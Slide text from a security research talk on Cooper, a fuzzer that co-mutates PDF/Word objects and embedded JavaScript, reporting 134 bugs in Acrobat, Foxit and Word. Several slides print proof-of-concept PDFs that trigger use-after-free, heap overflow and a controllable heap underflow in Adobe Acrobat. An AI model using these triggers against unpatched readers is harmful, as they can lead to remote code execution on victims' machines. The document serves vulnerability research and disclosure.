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Scripting Language
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integrated to documents



Vulnerability in Embedded Scripting Language

● Vulnerabilities in embedded scripting language are dangerous
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Document processing programs

 Input: Native objects + Scripts code

1 0 obj … endobj
2 0 obj … endobj
3 0 obj … endobj
4 0 obj … endobj

stream
zoomType = refW

endstream

Native 

objects

Scripts

code

Input
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Document processing programs

 Input: Native objects + Scripts code

 Two components for processing inputs
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Document processing programs

 Input: Native objects + Scripts code

 Two components for processing inputs

 Binding layer connects two components
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Document processing programs

 Input: Native objects + Scripts code

 Two components for processing inputs

 Binding layer connects two components

 Binding layer is too complicated, leading to BUGS
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stream
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Previous work only mutates scripts code
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Motivating Example

 Heap Overflow in Adobe Acrobat

 Remote Code Execution

 $2.5k bounty

 Native Objects:
Insert an extra element into Font’s Widths array. 

 Scripts Code:
Invoke this.zoomType=zoomtype.refW;

Traditional One-dimension-mutation cannot trigger this vulnerability

1 %PDF-1.3

2  1 0 obj << /Pages 2 0 R >> endobj

3  2 0 obj << /Kids [ 3 0 R ] >> endobj

4  3 0 obj << /Resources << /Font << /TT1 4 0 R >> >>

5                    /AA << /O << /S /JavaScript

6                                            /JS 5 0 R >> >> >> endobj

7  4 0 obj << /FirstChar 0

8                    /Widths [ 778 778 ... 556 500 ]         % 256 + 1 elements

9                    /LastChar 255 >> endobj

10  5 0 obj << /Length 539 >>

11              stream

12                 this.zoomType=zoomtype.refW; % Trigger the bug

13              endstream

14        endobj

15  trailer << /Root 1 0 R >>

How to trigger this vulnerability?
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Our Solution: Cooperative Mutation

JavaScript engine

1 0 obj … endobj
2 0 obj … endobj
3 0 obj … endobj
4 0 obj … endobj

stream
zoomType = refW

endstream

native 

objects

JS

code

PDF file

binding layer

Adobe Acrobat

parser GUI

reflow.api✷ …

Cooperative Mutation

Native mutation

Scripts mutation
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How to mutate objects & code cooperatively?

1 0 obj … endobj
2 0 obj … endobj
3 0 obj … endobj
4 0 obj … endobj
5 0 obj … endobj
6 0 obj … endobj

…
n 0 obj … endobj

stream
statement1;
statement2;
statement3;
statement4;
statement5;
...

endstream

Native objects Scripts codeBinding layer
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Infer RelationshipMutate Native objects Mutate Scripts code
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Challenges
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1 0 obj … endobj
2 0 obj … endobj
3 0 obj … endobj
4 0 obj … endobj
5 0 obj … endobj
6 0 obj … endobj

…
n 0 obj … endobj

stream
statement1;
statement2;
statement3;
statement4;
statement5;
...

endstream

Native objects Scripts codeBinding layer

1. How to Infer relationship?

2. How to guide mutation?

Too many objects!!! Makes it 
hard for inferring and mutation



Challenges

We need to reduce the search 
space of native objects.
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1 0 obj … endobj
2 0 obj … endobj
3 0 obj … endobj
4 0 obj … endobj
5 0 obj … endobj
6 0 obj … endobj

…
n 0 obj … endobj

stream
statement1;
statement2;
statement3;
statement4;
statement5;
...

endstream

Native objects Scripts codeBinding layer

1. How to Infer relationship?

2. How to guide mutation?

Too many objects!!! Makes it 
hard for inferring and mutation

0. How to cluster native objects?
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Cooper: Overview
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cluster input objects to 
semantic-similar classes

infer relation between native 
input and script code

use the inferred relation 
to guide mutation



Object Clustering

 Clustering objects with name

A0: name0 = object0,

A1: name1 = object1,

A2: name2 = object2,

… = …

O:object =

Name contains semantic information
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Object Clustering

 Clustering objects with name

A0: name0 = object0,

A1: name1 = object1,

A2: name2 = object2,

… = …

O:object = Font Obj0

Annot Obj1

…

Font Obj2

Annot Obj3

…

Font Obj4

…

…

…

…

Font Class

Name Value

Annot Class

Name contains semantic information

O0

O1

O2
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Object Clustering

 Spliting and merging classes with attribute similarity

Sim(A, B) = 
2(|A∩B|)

|A|+|B|

if sim < 𝝷s

if sim > 𝝷m
Big Class Small Classes
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Relationship Inference

try{

var annots = this.getAnnot();

app.alert(annots.length+” Annots Found”);

}catch(e){ app.alert(“ERROR” + e); }

 Run & Record
1   0   obj …   endobj

2   0   obj …   endobj

3   0   obj …   endobj

4   0   obj …   endobj

5   0   obj …   endobj

6   0   obj …   endobj

Success Set

Failure Set 21

Success Set

Failure SetSamples



Relationship Inference

Success Set

Failure Set

Statistical 

Inference

API0 API1 API2 …

Success

Rate

Failure

Rate

Diff Success

Rate

Failure

Rate

Diff Success 

Rate

Failure 

Rate

Diff …

Class0 0.9 0.1 0.8 1.0 0.0 1.0 1.0 0.1 0.9 …

Class1 0.8 0.2 0.6 0.3 0.3 0.0 0.9 0.0 0.9 …

Class2 1.0 0.0 1.0 0.9 0.1 0.8 0.2 0.1 0.1 …

… … … … … … … … … … …

Classn 0.3 0.3 0.0 0.8 0.2 0.6 1.0 0.2 0.8 …

Relation Map

 Run & Record

 Statistical Inference
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Calculate mutation 

probability

Relationship guided mutation

Relation Map

API0 API1 API2 …

Class0 0.8 1.0 0.9 …

Class1 0.6 0.0 0.9 …

Class2 1.0 0.8 0.1 …

… … … … …

P(class c) = 
rate(c)

∑API ∑i RelationshipMap[API][i].rate
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Script Generation
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Universal 

Mutation

Native objects
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Implementation

● 4.3K lines of code in Python

● Utilize open source library
○ Use PyPDF2 to parse PDF, use zipfile and xml to parse Word

● For scripts generation
○ Modify Domato, and add block-level template 

● Currently support 
○ PDF, Word

● Extensible and Portable
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Results and Evaluation

● Clustering Accuracy

● Inferring Accuracy

● Different configurations and tools
 Bug finding

 Edge finding

● New bugs
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Is the clustered object classes reasonable?
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One of the object classes clustered by Cooper



Is the clustered object classes reasonable?

High similarity
28

One of the object classes clustered by Cooper

Page object in pdf format specification



Is the inferred relationship reasonable?
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Relation between object classes and annotation APIs



Is the inferred relationship reasonable?
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Relation between object classes and annotation APIs

Related format information in pdf specification



Evaluate with different configurations
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Experiment
Relation 

Guidance

Object

Mutation

Script 

Generation

Cooper-full

Cooper-random

Cooper-object

Cooper-script

Domato



Bug finding with different configurations

Bug finding experiment
32

Cooper-full found 18 bugs in 

one week.

Experiment
Relation 

Guidance

Object

Mutation

Script 

Generation

Cooper-full

Cooper-random

Cooper-object

Cooper-script

Domato



Bug finding with different configurations

Bug finding experiment
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Edge finding with different configurations
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Edge discovering experiment
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Edge finding with different configurations

Edge discovering experiment
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New bugs

 134 previous-unknown bugs in 3 real-world software

 33 CVE, 59 fixed, 44.1k dollars bounty

 90 APIs in 11 objects
36

Adobe Acrobat Foxit Reader Microsoft Word Total

UAF 12 18 3 33

Overflow 4 8 5 17

Buffer error 6 1 0 7

Null pointer deference 30 22 8 60

Stack exhuastion 6 4 0 10

Access violation 2 2 1 5

Others 0 1 1 2

Total 60 56 18 134



Related scripting APIs
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Case Study #1

Use-After-Free(CVE-2021-21028)
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1  %PDF-1.3

2  1 0 obj << /Pages 2 0 R >> endobj

3  2 0 obj << /Kids [ 3 0 R 4 0 R ] >> endobj

4  3 0 obj << /AA << /O << /S /JavaScript

5                                            /JS 7 0 R>> >>

6                    /Annots [ 5 0 R ] >> endobj

7  4 0 obj << /Parent 2 0 R >> endobj

8  5 0 obj << /Popup 6 0 R /NM ()

9                    /Subtype /Circle >> endobj

10  6 0 obj << /NM () >> endobj

11  7 0 obj << /Length 237 >>

12              stream

13                 var annot=this.getAnnots()[0];

14                 annot.setProps(annot.getProps());

15                 annot.page=1;

16              endstream

17         endobj

18  trailer << /Root 1 0 R >>

 Native Objects

1. Two annotations linked with /Popup

2. Their /NM values are both empty

 Scripts Code

1. Reset the properties of the first annotation 

2. Change the page of the first annotation



Case Study #2

Use-After-Free(CVE-2021-21035)
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12 8 0 obj << /Length 401 >>

13 stream

14 var a0 = this.getAnnots()[0];

15 var a1 = this.getAnnots()[1];

16 a0.setProps({type:"Polygon",page:1,});

17 a0.popupOpen=true; a0.popupOpen=false;

18 a1.setProps({type:"Polygon",page:1,popupRect:[ ... ]});

19 a1.popupOpen=true; a1.popupOpen=false;

20 endstream

21 endobj

22 trailer << /Root 1 0 R >>

 Native Objects

An /Action attribute with abnormal value

 Scripts Code

Change properties and popupOpen repeatedly

1  %PDF-1.3

2  1 0 obj << /Pages 2 0 R >> endobj

3  2 0 obj << /Kids [ 3 0 R 4 0 R ] >> endobj

4  3 0 obj << /AA <</O <</S /JavaScript

5                                          /JS 8 0 R >> >>

6                    /Annots [ 5 0 R 6 0 R 7 0 R ] >> endobj

7  4 0 obj << /Parent 2 0 R >> endobj

8  5 0 obj << /Subtype /Caret >> endobj

9  6 0 obj << /T (Total Improvement area Y)

10 /Subtype /FreeText >> endobj

11 7 0 obj << /Action /GoTo/GoTo >> endobj



Case Study #3

Heap-Underflow(CVE-2021-xxxx)
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11  5 0 obj << /Length 401 >>

12 stream

13                 this.zoomType=zoomtype.refW;

14 endstream

15        endobj

16  trailer << /Root 1 0 R >>

 Native Objects

1. Assign /FirstChar a negative integer value

2. Adjust the length of /Widths array

 Scripts Code

1. Invoke this.zoomType=zoomtype.refW;

1  %PDF-1.3

2  1 0 obj << /Pages 2 0 R >> endobj

3  2 0 obj << /Kids [ 3 0 R ] >> endobj

4  3 0 obj << /AA <</O <</S /JavaScript

5                                          /JS 5 0 R >> >>

6                    /Font << /TT0 4 0 R>> >> endobj

7  4 0 obj << /FirstChar -31

8                    /Widths [ 0x41414141 2 3 4 5 6 … 32 ]

9                    /Subtype /TrueType >> endobj



Case Study #3

Heap-Underflow(CVE-2021-xxxx)
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11  5 0 obj << /Length 401 >>

12 stream

13                 this.zoomType=zoomtype.refW;

14 endstream

15        endobj

16  trailer << /Root 1 0 R >>

1  %PDF-1.3

2  1 0 obj << /Pages 2 0 R >> endobj

3  2 0 obj << /Kids [ 3 0 R ] >> endobj

4  3 0 obj << /AA <</O <</S /JavaScript

5                                          /JS 5 0 R >> >>

6                    /Font << /TT0 4 0 R>> >> endobj

7  4 0 obj << /FirstChar -31

8                    /Widths [ 0x41414141 2 3 4 5 6 … 32 ]

9                    /Subtype /TrueType >> endobj

It is Awesome and Powerful!!!

1. The underflow length is controllable(/FirstChar)

2. The underflow content is also controllable(/Widths)
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Case Study #3 Demo

POC-1

 /FirstChar -16; /Widths [0] 

= 0x42424242

 Underflow 16 integers, 

the first is 0x42424242

POC-2

 /FirstChar -31; /Widths [0] 

= 0x41414141

 Underflow 31 integers, 

the first is 0x41414141
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Case Study #3 Demo



Takeaways

● We should consider the relationship between script and native object when 

fuzzing binding code

● Statistical analysis can help infer relationships

● Cooper is available online: https://github.com/TCA-ISCAS/Cooper
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https://github.com/TCA-ISCAS/Cooper
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Conclusion

● Cooperative mutation is effective on test binding code of scripting languages

● 134 bugs in Adobe Acrobat, Foxit Reader, and Microsoft Word

● 33 CVE and 44.1K dollars bounty

@XuPeng / xupeng_1231@126.com
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